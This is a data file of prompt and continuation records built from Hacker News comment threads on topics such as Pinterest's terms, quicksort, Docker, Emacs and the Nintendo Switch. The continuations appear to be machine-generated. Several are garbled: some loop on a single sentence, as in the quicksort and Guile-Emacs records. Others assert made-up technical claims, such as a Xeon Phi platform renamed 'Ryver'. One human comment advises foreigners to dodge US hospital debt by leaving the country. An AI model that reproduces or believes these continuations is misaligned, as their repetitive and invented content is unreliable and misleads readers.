Lexiconick\u00fd \u010dasopis (Lexicon, or\nLexikon) by V\u00e1clav \u010celovsk\u00fd, which was the most influential Czech dictionary\nin the late 19th century. It was a huge hit in the 1890s, but was eventually\nsuperseded by the even bigger and better Diction\u00e1ln\u00ed slova", "input_text": "\ncwe\nSome video game companies still are:\n[http://www.theverge.com/2012/4/13/2947088/valve-reveals-\nsecr...](http://www.theverge.com/2012/4/13/2947088/valve-reveals-secret-\nhardware-project-wearable-computing)\n\n~~~\niamdave\nBy-and-large though, VALVe as a corporation is an outlier in virtually every\nsense from the rest of the gaming industry. They own 100% of their\ndistribution, they're a developer that distributes for other developers,\nthey're _immensely_ in-tune with their customers, their consistently open\nsupport of the modding community, user-vs-profit focused DRM...\n\nDespite the fact that VALVe makes games, they're unlike any other gaming\ncompany out there right now. The Minecraft team is a few iterations and\nportfolio additions away from that same tier.\n\n------\npersonlurking\nReminds me a bit of Slate's Lexicon Valley in their episode about Webster's\nThird (edition dictionary). It was to be the end of to end all as far as\nknowledgable authority goes. Want to know anything? Consult your trusty\ndictionary!\n\n[http://www.slate.com/articles/podcasts/lexicon_valley/2012/0...](http://www.slate.com/articles/podcasts/lexicon_valley/2012/03/lexicon_valley_webster_s_third_the_most_controversial_dictionary_ever_published_.html)\n\nedit: I believe it was Webster's Second that was supposed to be the 'cre"} +{"output_text": " books.\n\n~~~\nhga\nI'm not spreading FUD, I'm pointing out that the numbers don't work. And I'm\nnot spreading the \"need\" argument, because that's not what I said. I said the\namount of water is a problem, and that's backed up by the numbers.\n\nAnd yes, I'm familiar with Zubrin's books, and I've read them. I'm not a fan\nof his politics, but I", "input_text": "\nwill. It's the amount of water that is the problem. There is no practical way\nto launch the amount that is needed. And even once you launch it, it's so\nmassive that you'll have a really hard time getting to mars fast enough.\n\nI haven't run the numbers myself, but I've read works from people who have,\nand they say that it's not practical. Water is just too heavy.\n\nPS. For the moon, there is little reason to build up - dig under instead, and\nline the inside with weak, but airtight material.\n\n~~~\nstcredzero\n_That is simply not what all those articles I linked to said._\n\nYou're spreading pop-science FUD designed to create the exact misconceptions\nyou are spreading. Read the other side in Zubrin's books and articles. No big\nconspiracies, just people using fear of radiation to sensationalize articles\nand get more money out of our federal government.\n\n _The reason the high energy particles are more of a problem is because it's\nharder to shield from them_\n\nThere's less _need_ to shield from them.\n\n _Especially without the shielding becoming a problem in and off itself. Which\nis more or less what you said. So you agree that hiding during solar storms is\nnot enough._\n\nBy _not_ shielding the entire vessel, you can create a small booth with enough\nshielding to also absorb the secondaries. Again, this is well trodden\nterritory. Most public libraries have Zubrin's books. Read the other side, and\nyou will find that you have been fed incomplete pictures. Shielding the whole\ncraft is a straw man. Trying to give complete protection for initial explorers\nand colonists is overkill and FUD for selling"} +{"output_text": " \"all rights reserved\" clause. Now, someone else\nreproduces the photos, and posts them to their own blog, with a link to the\noriginal site. They don't claim ownership of the photos, and they don't\nreproduce them for commercial gain. Do you think they'll get in trouble for\nthis?\n\nThe point of the EULA is to protect the rights of the provider, not the users.\nIf the provider doesn't like it,", "input_text": "reproducing a low-\nresolution copy for reference\" to provide context.\n\nAnother aspect of fair use is \"not depriving the owner of their own commercial\nuse of the work\".\n\n------\nzaroth\nIf I'm a copyright holder who feels like my work is being misappropriated by\nPinterest, I'm going to sue Pinterest, not the user. Their Terms of Service\nwon't stop them from getting sued, and the indemnity clause won't magically\nmake money appear in their pockets to pay for their defense. If they decide to\nstart suing their users for recovery, that would be pretty amusing.\n\n\"I trusted the person who gave me the image\" is not a legal defense for\ncopyright infringement. Their only chance is to stay within the DMCA safe\nharbor or else they will eventually be shut down.\n\n~~~\nwpietri\nAs my lawyer explained to me long ago, who eventually \"wins\" a lawsuit is\nrarely interesting. Cost, time, and agony to get there are much more relevant\nfactors.\n\nThe \"our users represent that the content is theirs\" may not keep Pinterest\nfrom losing an eventual lawsuit, but it does complicate things enough that it\ndiscourages legal action. That may be sufficient for them to cash out long\nbefore the suits are complete.\n\nOr, like YouTube, things like that may allow them to grow big enough that they\nend up with sufficient negotiating power that they can get away with quite a\nbit, and possibly reshape what's considered reasonable.\n\n------\nnpsimons\nI think many are dismissing this as \"standard TOS/EULA legalese\" and missing\nthe point. Let's consider a scenario: let's say you post some photos online,\nand license them under the"} +{"output_text": " worst-case. Quicksort is O(N lg N) on an N that\nisn't too much bigger than 10^9.\n\n2\\. Quicksort is O(N lg N) on an N that isn't too much bigger than 10^9.\n\n3\\. Quicksort is O(N lg N) on an N that isn't too much bigger than 10^9.\n\n4\\. Quicksort is O(N", "input_text": " a loss.\nThese could be the differences between your idea succeeding or disappearing.\n\n1\\. Another one of my common things I do at work is replacing quicksort\nimplemented using recursion with an iterative version so that the stack\ndoesn't keep getting blown on large datasets. I like it when people encounter\nthis problem and find out that stacks are finitely sized and not as big as\nthey'd hoped they would be. \"But that means...\" is a great thing to hear.\n\n~~~\nnadam\nI am not an expert of this, but:\n\n1\\. I think the stack usage of Quicksort is O(log(n)). Which means it is\nimpossible to blow up the stack unless your dataset is bigger than the number\nof atoms in the universe (but in that case how are you keeping it in memory?)\n\n2\\. For example in Java when you call Arrays.sort() this is called:\n\n[http://cr.openjdk.java.net/~alanb/6905046/webrev/src/share/c...](http://cr.openjdk.java.net/~alanb/6905046/webrev/src/share/classes/java/util/DualPivotQuicksort.java.html)\n\n(It apparently uses recursion)\n\nI know quicksort, but not on this level: these guys researched lots of\ndifferent quicksort implementations and optmized the hell out of it. This\nimplmenetation is way longer to begin with than my naive quicksort\nimplementation would be and is called 'dual pivot quicksort', which I did not\nhear about until now, despite I know how the traditional quicksort works.\n\n~~~\ngjm11\n1\\. It's average-case versus"} +{"output_text": " list of things we\nthought would be good to try, but which we would not expect to be a success.\n\nI am not sure we ever got a chance to try any of them, but one of them was\n\"Aerial Photography\".\n\nWe were going to try to make a camera that would take a picture from above a\nbuilding, or a car park, or something like that.\n\nThe idea was that you would get a picture of a new building, or", "input_text": " suppressed and should probably not\nbe developed in this easy-to-use form.\n\nI believe what you really want to say is that nation states should develop all\nthose nefarious technologies in order to control their spreading, because\nsomeone (\"the opponent\") will invent and spread them anyway. That's indeed the\ntraditional rationale for MAD and the development of nerve gas, biological\nweapons, and hydrogen bombs. The problem with this argument is that anybody\ncan use it, the argument appears just as sound to North Korea than to the US,\nand is leading to a world-wide stockpiling of dangerous technologies. So there\nmust be something wrong with that argument, don't you think so?\n\n~~~\neiieirurjdndjd\n> That's indeed the traditional rationale for MAD and the development of nerve\n> gas, biological weapons, and hydrogen bombs. The problem with this argument\n> is that anybody can use it, the argument appears just as sound to North\n> Korea than to the US, and is leading to a world-wide stockpiling of\n> dangerous technologies.\n\nBut that\u2019s not what happened, right? I mean, it is if you stop reading history\njust before the first non-proliferation treaties began being implemented. This\nwas almost half a century ago, though, so IMO it doesn\u2019t make sense to stop\nreading at that point.\n\n~~~\nJohnStrangeII\nI agree. The solution to massive technological threats is mutual entanglement\nby treaties and international laws that limit or prohibit the development of\ndangerous technologies. That's my point.\n\n------\nlifeisstillgood\nMany (many) years ago, I was leading business planning for Demon / Thus and as\npart of our template introduced \"Conscience Breakers\" \\- a"} +{"output_text": " [https://chess.org](https://chess.org)) and\nthen transcribes them into a shared Google Doc. This is a labor of love and\nit's not perfect but it's the only way we can keep score.\n\nI'd love to see a solution that could be used at local events.\n\n------\njames_s_tayler\nI would love to see this used for livestreaming video games. I'd pay good", "input_text": " prepared for an informal talk:\n[https://github.com/chesseye/chesseye/blob/master/presentatio...](https://github.com/chesseye/chesseye/blob/master/presentation/slides/slides.pdf)\n\nHope this helps! I always enjoy talking about these things, so feel free to\nreach out if you want to discuss it more.\n\n------\nAspos\nWould suggest using two cameras for stereo photogrammetry. Using mini-\nprojector to highlight clues would also be cool.\n\nI see a micro-projector with two cameras just 10 cm apart on a single tripod.\nWith stereo the tripod does not need to be that big for reliable detection.\n\n~~~\nyeldarb\nOoo cool idea!\n\nHave you seen Tilt Five? It\u2019s an AR headset that operates off a similar\nconcept. Instead of trying to figure out the passthrough optics they put\nprojectors in the glasses that reflect back at the viewer.\n\n[https://www.kickstarter.com/projects/tiltfive/holographic-\nta...](https://www.kickstarter.com/projects/tiltfive/holographic-tabletop-\ngaming)\n\n~~~\nAspos\nHaving to wear bulky glasses would ruin boardgames for me. But I see your\npoint.\n\n------\nbillforsternz\nThis is very cool. One very important application would be simply recording\ncompetitive games. There are electronic boards that can do this, and they are\nubiquitous at top level events. But they are infeasibly expensive. At our\nchess club one selfless and heroic volunteer inputs all the scoresheets into a\nPGN every week (shameless plug:"} +{"output_text": "\nsources so people can check them for themselves.\n\n~~~\ndfc\n>You obviously have some sort of state apologist agenda by your intellectually\ndishonest statements here.\n\nI am not an apologist for the state. I am an apologist for the state using the\nstate.\n\n>If you are going to start spitting out statistics, you better provide a\nsources so people can check them for themselves.\n\nI am not going to", "input_text": " spreading\nfrom the UN conflict zone.\n\nEducation matters, I was just mentioning the truth that all metrics have\nimproved besides schools. You can make of that what you want. There was no\nreal widespread schooling system before and there isn't one still. The UN-\nbacked Transitional Government is having a hard time keeping terrorist\nbombings out of Mogadishu, so it isn't anywhere near spreading schools around\nthe country.\n\n~~~\ndfc\nIs the 2007 blog post titled \"The Rule of Law without the State\" from a well\nknown libertarian organization your only source for these statistics?\n\n \n \n > verify any of these statistics yourself \n \n\nDo you define verify any of these statistics as 25% of these statistics?\nBecause I could only find the following on the CIA page. (The UNDP and the IMF\nlist Somalia as data deficient.)\n\n\\- Physicians per 100,000:4 (this is tenth lowest and FYI the CIA uses per 1k)\n\n\\- Infant mortality: 3rd highest 100 Afghanistan highest at 114.\n\n\\- Maternal morbidity: 1,000 3rd behind South Sudan (2,000) and Chad (1,100)\n\n\\- Sanitation Down to 23%\n\n~~~\npraxeologist\n>Is the 2007 blog post titled \"The Rule of Law without the State\" from a well\nknown libertarian organization your only source for these statistics?\n\nThe article is using the following sources as mentioned therein: \"statistical\ndata from the United Nations Development Project, World Bank, CIA, and World\nHealth Organization\"\n\nYou obviously have some sort of state apologist agenda by your intellectually\ndishonest statements here.\n\nIf you are going to start spitting out statistics, you better provide a"} +{"output_text": " thinking?\n\n------\njamespitts\nI read this as a metaphor for the challenges of entrepreneurship. The\n\"wingsuit\" metaphor is a great way to describe the mindset of a founder who\nis willing to take risks and take the company in a new direction. The\n\"paralyzed\" founder is the one who is so paralyzed by fear that they can't\nmove.\n\n------\njamespitts\nI thought this was a", "input_text": " paraplegic IIRC.\n\n------\njoegosse\nInteresting that the overall advice here is \"Don't Panic\"\n\nAlso interesting that having a towel could be incredibly useful in this\nsituation.\n\n~~~\ngeophile\nSince we're quoting Doug Adams: \u201cThe Guide says there is an art to flying\",\nsaid Ford, \"or rather a knack. The knack lies in learning how to throw\nyourself at the ground and miss.\u201d\n\n------\ncromulent\nSomewhat relevant:\n\n[http://topgunbase.ws/i-flew-my-wingsuit-into-trees-and-\nwoke-...](http://topgunbase.ws/i-flew-my-wingsuit-into-trees-and-woke-up-in-a-\nhospital/)\n\n~~~\njacquesm\nOuch. Nice move for Americans to fly in France where healthcare is affordable.\nIf you did this in the US as a tourist you'd likely be broke for the rest of\nyour life.\n\n~~~\nArizhel\nMake sure to go back to your home country as fast as possible, and then just\nignore the bills. They'll have a very difficult time collecting on a debt in a\nforeign country. Don't come back to the US as a tourist after that.\n\nThis reminds me of college, where sometimes the police would come looking for\nstudents who were foreign nationals, because they had gotten credit cards and\nthen racked up huge balances buying stuff, but didn't bother paying the bill.\nWhen the creditors tried to have them served, it turned out they had already\ngraduated and left the country. Good luck getting some guy in Indonesia to pay\noff his US credit card balance. What were these creditors"} +{"output_text": " be missing something here but I don't see how this is a 'better'\ncompetitor to email.\n\nIt's basically a network of post boxes that you can connect to.\n\n~~~\nmazsa\nI've been thinking about this for a while, and I think it's better than an\nemail list.\n\nThe biggest problem with email lists is that you can't send a message to\neveryone on the list. With Xeer, you can send", "input_text": " or purely criminal matter.\n\n~~~\n6stringmerc\nHow is using Murder, the taking of another's life, in any way a suitable\nanalogy to Copying a file/song/film without permission? They're completely\ndifferent ballparks and to do so is a form of equivalency - more like\nequivocation, as I mentioned - because the harms are so drastically different.\nIt only takes one Murder to be convicted of a Criminal offense and sent to\nPrison - there is a significantly higher bar[1] before Copyright Infringement\nis remotely similar to the nature of the reference point. I mean, I get the\nbasic underlying philosophy being argued but I disagree with it. Talking about\nCopyright and Murder in the same sentence, I will reiterate, is rhetorically\noff-base.\n\nA much more reasonable line of \"analogy\" (which it wasn't) would have been\ntalking about Theft and Copyright Infringement have disparate parameters on\nthe books, and therefore expose the over-reach of Copyright. I frequently\nsense that because I'm not \"pro-freedom\" in the definition of those who\ndisagree with me that I'm somehow on the other side. I'm most definitely not\nand it is quite tiring to feel such derision when I'm not a Partisan - I'm a\ngoddamn Independent.\n\n[1] [http://www.dslreports.com/shownews/Piracy-Puts-People-in-\nPri...](http://www.dslreports.com/shownews/Piracy-Puts-People-in-Prison-92460)\n\n \nXeer - mazsa\nhttps://en.wikipedia.org/wiki/Xeer\n======\ncup\nI must"} +{"output_text": " cancelled, I'm not sure if Guile-Emacs is any different.\n\n~~~\nlispm\nIt's not cancelled.\n\nIt's just not finished yet.\n\nIt's not scheduled to be finished before the end of the year.\n\nIt's not scheduled to be finished before the end of the year for the next 5\nyears.\n\nIt's not scheduled to be finished before the end of the year for the next 10\nyears.\n\nIt", "input_text": " is\nthat there will be many ancient software systems that have been debugged to\nnear absolute stability over the centuries. Sure new software will be written,\nbut I bet there will be many very old and stable systems that will see little\nchange.\n\n~~~\nlispm\nWouldn't it be nice when Emacs would not be blocked when some Lisp routine\nruns?\n\nLots of people have written excellent code for GNU Emacs, but the\nimplementation runtime hasn't improved that much.\n\n~~~\ne40\n_Wouldn 't it be nice when Emacs would not be blocked when some Lisp routine\nruns?_\n\nYes, it would be nice, but can you imagine the bugs that will happen while\neveryone works out the details of how to do it properly?\n\n~~~\ntaylanub\nEven in the current pre-alpha/alpha stage of Guile-Emacs, I can launch a\nthread from Scheme, do work, return to the main thread, then call an Elisp\nfunction on my result. (Scheme and Elisp data types are unified.) No bugs or\nunpleasant details there.\n\nCalling Elisp functions and accessing Emacs data types (buffers, windows) from\nmultiple threads is another issue; if you don't want to bother with it then\ndon't; you still get all the other benefits of being on Guile. (Calling to\n_any_ Guile module agnostically as if it were an Elisp library (including,\nsay, Guile's OpenGL module), having an FFI, getting JIT or AOT native\ncompilation in the future, etc.)\n\n------\nyason\nGiven all the reworks of software projects that have a) been started b) then\ndelayed c) then"} +{"output_text": " that you are from a country\nthat is not from the same region as you. (OK) Now let's choose a region - now\nan average region like Central Europe is more probable than a region as big as\nthe Eurasian steppe. (OK)\n\nSo if you are from Central Europe - then it is most probable that you are not\nfrom the same region as you were before. (OK) Now let's choose a race - now\nan average race like Caucasian", "input_text": " there a reason that other (alien) elements can't exist that\nwe've never been exposed to?\n\n~~~\nAnalog24\nThe structure of elements/atoms is well understood based on their subatomic\nconstituents. Naively, you might think that can you just keep combining\nincreasingly larger numbers of electrons, protons, and neutrons to create new\nelements. However, the stability of an atom becomes problematic when the size\nof the nucleus approaches the interaction length of the strong force (i.e. the\nnucleus is too large for the strong force to hold it together). These elements\nare unstable and therefor not relevant as far as organic chemistry is\nconcerned.\n\nFurthermore, the formation of elements in the Universe is also a fairly well\nunderstood process. For elements lighter than Fe it generally occurs through\nnuclear fusion in the center of stars. For elements larger than Fe it\ngenerally occurs through the r-process and s-process. With these we can model\nnucleosynthesis extremely well and it gives us a very good idea of the\nelemental composition of the Universe. That being said, there could be some\ncrazy unknown element out there but it would contradict almost everything know\nabout atomic physics.\n\n~~~\nnknezek\nGood answer, but I think you mean Fe, not Pb.\n\n~~~\nAnalog24\nGood catch! It has been corrected in my comment.\n\n------\nzby\nSo they do something like this: Let's choose a human in random - he is more\nprobable to be from Pakistan than from Slovakia. (OK) Now let's choose a\ncountry - now an average country like Slovakia is more probable than a country\nas big as Pakistan. (OK)\n\nSo if you are a human - then it is most probable"} +{"output_text": " teaches\nmathematics or philosophy at a university) has varied over time. In the Middle\nAges, a professor was a person who taught at a university, and was often\nregarded as a member of the faculty, the academic staff of a university. In the\nmodern era, the term has come to mean a full-time faculty member with the\nstatus of a professor at a university, especially a university of higher\neducation._\n\nSo, yes, you are right", "input_text": " link I listed at FactCheck.org\nalso asserts is true.\n\nOxford Dictionary (First Definition):\n\nscholar (schol\u00b7ar): a specialist in a particular branch of study, _especially\nthe humanities_ ; a distinguished academic\n\nFrom the UC Law School statement at FactCheck.org:\n\n\"Senior Lecturers are considered to be members of the Law School faculty and\nare _regarded as professors_, although not full-time or tenure-track... Like\nObama, each of the Law School's Senior Lecturers have high-demand careers in\npolitics or public service, which prevent full-time teaching. Several times\nduring his 12 years as a professor in the Law School, Obama was invited to\njoin the faculty in a full-time tenure-track position, but he declined.\"\n\n~~~\nanamax\n>>The claim was that he was a constitutional law scholar, not that he was a\nprofessor. While there are overlaps between the two groups, neither one is a\nsubset of the other.\n\n>You're kidding, right?\n\nNot at all. I have reasonably high standards for scholars.\n\nFor example, even though the degree is \"Juris Doctor\", I don't call lawyers\n\"Dr.\". (However, I will call them \"Esquire\".)\n\nMeanwhile, you'd call a 6th grade history teacher a \"scholar\" if they teach\nsome constitution....\n\n~~~\njeromec\n_Not at all. I have reasonably high standards for scholars._\n\nThis is not about you. It's about the definition in the dictionary. It has as\na primary entry for scholar \"a distinguished academic\".\n\nThe definition for \"professor\" from Wikipedia:\n\n _The meaning of the word professor (Latin: professor, person who"} +{"output_text": "------\njrochkind1\nI think docker is a really good example of how the old idea of 'reproduce\nlike' is not the best way to think about software.\n\nDocker is a way to make a lot of software that would have been very different\nif it had been written in anything else, behave the same.\n\nBut it's not the best way to think about the software that _is_ written in\nanything else.\n\n~~~\n", "input_text": " \"old\"\nthough; the latest release was in March.\n\n~~~\nnjharman\nFair enough. But the mentality that picks stable over up-to-date tends to\nnever upgrade. I'm stuck supporting rhel5.5, our \"new\" systems are 6.5\n\n------\nallan_s\nour use case for docker is the following:\n\nwe're a webshop, and recently we've standardized our stack on\nsymfony2/nginx/postgresql, so all our websites use that. but beside of that we\nhave some that we maintain that need to run on old version of php/centos.\n\nAs we have only 1 server internally for pre-staging environments, docker does\nhelp us to save a lot of memory/cpu compare to what we had before (virtualbox,\nyes...), without needing a lot of machine to setup (like openstack).\n\nAlso we don't really have a guy dedicated to sysadmin, so the less time we\nneed to spent on server administration, the better we feel. So we have a set\nof 3 containers (for symfony+php_fpm / postgresql / nginx ) that already tuned\nto meet our needs, with a ansible playbook [https://github.com/allan-\nsimon/ansible-docker-symfony2-vagra...](https://github.com/allan-\nsimon/ansible-docker-symfony2-vagrant/), that we reuse for every new project\nwe have. So that the developers can have a working stack, without needing to\nreinvent the wheel, they even don't need any knowledge of system adminstration\n\"run this ansible command, done\"! without any risk to break other services.\n\n"} +{"output_text": " agree with this. I would love to have a handheld that I could\ntake with me on the go.\n\n~~~\nmikegerwitz\n>I think it could just be a smaller thing because most people expect the\nmidnight launches, and people have work at 8am.\n\nI think this is a big part of it. I expected a launch at midnight, but I\ndidn't expect it to be a big deal. I think a lot of people here in the", "input_text": ", but snapped onto the\ncontroller shell you forget it isn't just a regular controller. Very cool.\n\nThe hardware though? It makes me nervous. I get at $300 and what Nintendo was\ngoing for you don't have much of an alternative. Maybe I'm spoiled but 900p\nupscaled at 30 fps with drops when docked feels wrong in 2017. The game (BotW)\nis beautiful and controls wonderfully but the lag is noticeable at times for\nme and the lack of fluidity hurts the experience. Oddly enough playing at 720p\nundocked isn't slow at all and on the small screen looks great. I kind of\ndrool at the thought of this upscaled to 4k at 60fps and that and it wouldn't\nbe hard on modern hardware. Maybe a remaster or emulator?\n\nIt very much feels like a mobile device you can dock versus a home console you\ncan take with you. Just not sure how much headroom is in the hardware to make\nthis last for three or four years without major compromises.\n\nDoes anyone else have an impression?\n\n~~~\nThatPlayer\nI scoped out my local Target at 1 am and there were 5 people in line and maybe\na few more waiting in cars. Came back at 7:30am before the 8am opening and got\na voucher for about 40 out of 60 Switches. I think it could just be a smaller\nthing because most people expect the midnight launches, and people have work\nat 8am. The midnight launch at my local Fry's sold out of their 90 Switches.\nOr maybe it is your location as I am in Los Angeles County.\n\n>It very much feels like a mobile device you can dock versus a home console\nyou can take with you.\n\nI definitely"} +{"output_text": "has a good work environment is worth more to me than the money.\n\n~~~\nmalvosenior\n> _For me, I'm paid well (probably 60th percentile for my location/position)\n> but the flexibility I get from my employer which cultivates a nice culture\n> and has a good work environment is worth more to me than the money._\n\nThis is the exception, not the rule.\n\nMost people at big companies are in it for the money", "input_text": " how they\n> want others to react rather than based on what they really think.\n\nTo know what others think and desire requires empathy. To counter B.S you have\nto do 2 things. Get to know yourself to create a carapace based on values that\nprotects you, and get to know others, so you know the true reason why they\nwant something from you. When these don't match (or don't match the proclaimed\ncompany values), this is the definition of B.S\n\nIf your values, their values and the company values match, then we can hardly\ncall it B.S - and don't forget changing values and raising from naivet\u00e9 is\npart of growth. It's ok to feel today you \"gotta give 110%\" then later realize\nthis doesn't align with your life moment.\n\n------\nmalvosenior\nAnything related to the \"culture\" of the workplace. The higher ups are raking\nin tons of money. That's it. That's why they are doing what they do. \"Culture\"\nis to keep the workers entertained while the execs scoop up all the cash.\n\n~~~\nmaxehmookau\nnah, I don't buy this.\n\nIn a large company, most people _aren't_ making the big bucks and don't do it\nto make a fortune. They do it to make a living.\n\nThe \"culture\" of a place, especially at a bootstrapped startup where the\nhigher ups _aren't_ raking in the big bucks is a huge draw to someone _where\nmoney is not the main reason for taking a job_.\n\nFor me, I'm paid well (probably 60th percentile for my location/position) but\nthe flexibility I get from my employer which cultivates a nice culture and\n"} +{"output_text": " goes back to the days of teletypes and carbon paper.\n\n------\npjmlp\nThe article is from 2013, so it is probably still valid, since we are still\nhaving the same problems with the latest Xeon Phi, which is based on the\nTahoe/HEDSPe platform.\n\nThe only thing that changed is that the HEDSPe is now called \"Ryver\", and is\nused by Nvidia.\n\n------", "input_text": "\nbuiltin CRC32 over the wrong polynomial, Pascal calling convention support,\nbinary-coded decimal, high halves of 16-bit registers, MMX overlap with x87\nfloating point, etc. etc.\n\n~~~\nq3k\nRight, but most of these are just past crimes^W^Wlegacy that Intel has to deal\nwith in the name of backwards compatibility.\n\n~~~\nKlathmon\n>most of these are just past crimes^W^Wlegacy\n\nThis is completely off topic, but I've seen things like the \"^W^W\" a few times\nbefore, and I don't know what it means.\n\nIs this a weird encoding mismatch thing? is it from some editor/system that\npeople instinctively type? Is it from some other forum which has a strange\nmarkup syntax for something?\n\n~~~\nq3k\nEmacs/readline bindings for Delete Word. Open up a bash shell, type in `foo\nbar baz`, then press ctrl-W twice.\n\n'^W' is what would appear instead if you weren't in a readline/emacs editor,\nbut instead a dumb line terminal. Thus, leaving '^W' behind makes it look like\nyou didn't realize what you just corrected is still visible.\n\nIt's a joke. I've now explained and ruined it.\n\n~~~\nbluedino\nSlashdot posters would use ^H^H in their posts (backspace)\n\n~~~\nlscotte\nIt goes back way further than that - probably to the dawn of IRC or so.\n\n~~~\npjscott\nI believe it dates back to the unix talk(1) program, quite a bit earlier than\nIRC.\n\n~~~\nTheCondor\nIt"} +{"output_text": " two questions here:\n\n1\\. Do these terms benefit users?\n\n2\\. If so, how do we get the content producers to agree to them?\n\n~~~\ntptacek\nThe terms benefit users, but only by accident. The vast majority of sites\nthat allow user content don't have these rights terms. They're just trying to\nget by without getting sued.\n\n~~~\npork\nI think that's true. But I think the point I", "input_text": " ToS said\nhe'd released his rights, demonstrates this is not a \"please not again\"\nproblem, this is ongoing, big corps are misusing these at the expense of\nindividual artists, and the problem's getting worse.\n\nEvery day I talk to artists who have no idea that posting their latest music\nvideo to a video sharing site could give that company performance rights in\nother media, or, as in this case, that pinning their own photos to Pinterest\nwould let Pinterest publish a \"Best Pins of 2012\" book w/o compensating the\nartist.\n\nThis needs to be called out and both consumers and creators deserve to be\ninformed.\n\n~~~\npork\nLet me rephrase GP's comment, since I felt the same thing as them. Allow me to\nset out a hypothetical.\n\nYou find that Pinterest's terms are awful, and stage a very successful revolt\nwith your own site, sans the offensive terms. Users flock to your site, and\nPinterest dies a sad death. One of the copyright owners of your \"pinned\"\ncontent decides to go after you, and decides to sue the pants off you. So you\nfreak out and hire a top-notch lawyer, who will draft a new set of terms for\nyour users to shield you from the liability you now realize you have.\n\nRepeat, iterate, and before you know it -- your top-notch lawyer guarantees\nthat you will face no more expensive liability, but you now have the onerous\nterms set out in practically all sites that allow user-generated content.\n\nBasically, these terms allow you to bump the liability from yourself to the\nuser who uploaded it (because they have pinned the pictures in bad faith, in\nviolation of your terms, etc.)\n\nSo there's really"} +{"output_text": " the sacrifice.\n\n~~~\nAnimalMuppet\nI'm not conflicted about the right to take the decision - to decide who lives\nand who dies. But I'm conflicted about the _morality_ of that decision - the\nrightness of it, if you like. I'm conflicted about that because I'm not\ncomfortable with the idea that I'm making a value judgement - that some lives\nare worth more than others.\n\nI'm not comfortable", "input_text": " It would be quite remarkable to somehow\nviolate the way things are. Next time you see someone do something \"wrong,\" or\n\"bad,\" or \"unethical,\" please try to use your senses to observe the \"bad\" or\n\"problem\" in the situation. Where is it? I'd love to see a picture of a real\nviolation of nature, a real problem.\n\nTo your second question, such things are annoying to me because it is my\nnature to be annoyed by ignorance. Many humans are naturally compelled to seek\nunderstanding. There is nothing wrong with ignorance; it's just my nature to\nfind it annoying.\n\nAlso, downvoting my comments doesn't make them incorrect.\n\n------\nmichaelmrose\nThe trolley problem conflates too independent issues in a very artificial set\nof circumstances.\n\nWhether we are willing or required to make a utilitarian moral judgment and\nwhether we have the right to do so.\n\nIn a real life trolley problem on the battlefield or in the hospital the\ncommanding officer or doctor has been invested by society with his/her\nposition and is expected to do hypothetically the best thing for his\npatients/soldiers. He has both the power and the right. I'm aware the military\nsituation is a LOT murkier but lets not over complicate.\n\nIt seems to me that many are conflicted over their right to take power over\nother peoples lives and the expected benefit. Note how most feel that you are\nrequired to switch the trolley when nobody would be harmed on the other track.\nMost feel it unacceptable to take responsibility for choosing which party to\ndie in a one to one switch but find sacrificing one for 5 at least acceptable\nas the benefit mounts it becomes harder to be squeamish about"} +{"output_text": " only thing I really want it for is iTunes library management,\nwhich I do on my desktop PC anyways.\n\n------\nsliverstorm\nI am not sure why we need a separate app for music, video, and ebook purchases.\n\nI would much rather see a unified store for all purchases.\n\n~~~\nsliverstorm\nOh, and I would also like to see a unified search.\n\n------\nsliverstorm\nI would like to see a", "input_text": " install the software.\n\nBesides the considerations of HOW to get an app into apt-get - what if you\nwant to charge for it? Apt-get simply wasn't designed to distribute paid\nsoftware and you'd have to implement all the missing pieces yourself (account\nmanagement, payment processing, license management, in-app\npurchases/upgrades). Doing this per-app is no better than the current\nsituation in Windows from a developer POV. Adding this functionality to some\nderivative of apt-get, on the other hand, is HARD - besides the technical\nchallenges, you'd have to overcome legal issues with taking payments in a\nvariety of jurisdictions with different regulations and tax laws.\n\n~~~\nbryanlarsen\nIt may have been hard, but Ubuntu's already done it. The Ubuntu Software\nCentre contains pay apps.\n\n------\nrheide\nI dare say that the netbook is not dead at all for people who travel a lot. I\nown an iPad and a very slow (WinXP) netbook myself, but I would prefer the\nnetbook over the iPad for travel any day. At least I have plenty of storage\nspace for my photos on my netbook and I can plug in whatever USB hardware I\nwant.\n\n~~~\nartmageddon\nAs I said in another comment, I use rail every day to and from work. For\ncoding, the netbook wins hands down. It runs a bare minimum WinXP setup(i.e.\nno virus scanner or loads of services to start up), so I get done what I need\nto. I'd much rather use it for photo processing / writing emails etc. also.\n\nOf course, once I start needing remote connectivity for work, I'll have to use\nthe iPad.. the"} +{"output_text": "\n\nI'm a college dropout. I've been coding for 10 years now. I've been in\nstartups for 5. I've been married for 2. I have a kid on the way.\n\nI've been much happier than I would have been otherwise.\n\nI'm not saying that dropping out of college is the best decision. I'm saying\nthat the data doesn't support the \"educated elite are better\" narrative.\n\n~~~\nChuckMcM", "input_text": "iel's 20 under 20 (). Of the select few that were chosen\nbased on their skills/ideas/potential and given access to Thiel's network,\nquite a few ended up actually going back to school.\n\n~~~\nwebwright\nI'd love to see socioeconomic status pulled out of the equation.\n\ni.e. Take 1000 offspring of middle/upper class folks. Measure the difference\nbetween those who chose to go to college and those who did not.\n\nMeasuring the economic success of people who don't go to college is (most of\nthe time) measuring the success of people who can't afford to go to college.\n\n~~~\nChuckMcM\nOk, so lets say you did that. Do you have a hypothesis about what might be\ndifferent?\n\nCollege is actually reasonably affordable, there are accredited four year\nuniversity degrees that cost about $25K over four years. Generally those are\n'state' schools but still $25K it what it costs to buy a car, so if one can\nchoose between buying a car and going to school we could do some interesting\ncomparisons there.\n\nIn every survey I've ever seen, whether it was done by the Census bureau or\nthe chamber of commerce, people with college degrees were more likely to have\nbetter economic success than someone who had not completed college. The\nnumbers are quite skewed toward college graduates with STEM [1] degrees.\n\nBy and large, today, for the general case, if you want to increase your\nchances for economic success, getting a STEM degree from an accredited college\nis your most highly leveraged investment.\n\n[1] STEM - Science Technology Engineering Mathematics\n\n~~~\nwebwright\nComing at this 7 days late, but..."} +{"output_text": " see more and more people using Bower to manage front-end\ndependencies, and I think that's a really good solution for managing\ndependencies.\n\n> We\u2019re trying to coordinate them. We want to provide a good default experience\n> out of the box, so we\u2019re building a CLI to: scaffold, skeleton files, set up\n> build, set up testing environment, possibly even deployment\n\nI don't understand why you need a CLI to do that. Why", "input_text": " and JSX for the later.\n\n> It's as if ReactNative is being treated (strategically) as a more powerful\n> version of PhoneGap.\n\nReactNative is like Titanium/Alloy. It uses native components to render views,\nnot the DOM. So it has nothing to do with Phonegap except for the use of\njavascript.\n\n~~~\nmts_\n> ReactNative is like Titanium/Alloy. It uses native components to 